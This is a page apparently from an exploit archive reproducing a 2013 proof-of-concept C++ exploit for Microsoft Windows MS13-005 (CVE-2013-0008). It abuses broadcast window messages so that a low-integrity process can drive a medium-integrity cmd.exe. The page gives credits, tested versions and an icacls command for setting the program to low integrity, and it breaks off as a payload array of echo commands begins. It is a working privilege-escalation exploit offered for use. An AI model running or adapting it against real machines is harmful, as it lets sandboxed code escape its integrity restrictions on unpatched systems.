发布 2013-02-11 漏洞条目

Microsoft Windows – HWND_BROADCAST (PoC) (MS13-005)

Exploit Source

ms13-005-funz-poc.cpp - Drive a Medium IL cmd.exe via a Low IL

process and message broadcasted

This program is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation, either version 3 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program. If not, see <http://www.gnu.org/licenses/>.

@taviso did all the job, I just followed its blogpost:

-> http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html

-- amazing.

Cool trick:

-> If you want to set this process to a low IL you can use:

icacls ms13-005-funz-poc.exe /setintegritylevel L

-> The new ms13-005-funz-poc.exe will be now launched as low IL

(you can check it with process explorer)

# Exploit Title: ms13-005-funz-poc.cpp

# Date: 2013-02-05

# Exploit Author: 0vercl0k - https://twitter.com/0vercl0k

# Vendor Homepage: https://www.microsoft.com/

# Version: Windows Vista, Windows Server 2008, Windows 7, Windows

Server 2008 r2, Windows 8, Windows Server 2012, Windows RT (See

http://technet.microsoft.com/fr-fr/security/bulletin/ms13-005)

# Tested on: Windows 7

# CVE : CVE-2013-0008 -

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0008

# Video: http://0vercl0k.tuxfamily.org/bl0g/ms13-005-funz/ms13-005-funz-poc.mp4

#include <windows.h>

#include <stdio.h>

int main()

{

STARTUPINFO si = {0};

PROCESS_INFORMATION pi = {0};

PCHAR payload[] = {

"echo \".___ _____ ______________ ______________ \">

%USERPROFILE%\\Desktop\\TROLOLOL",

"echo \"| | / \\ \\__ ___/ | \\_ _____/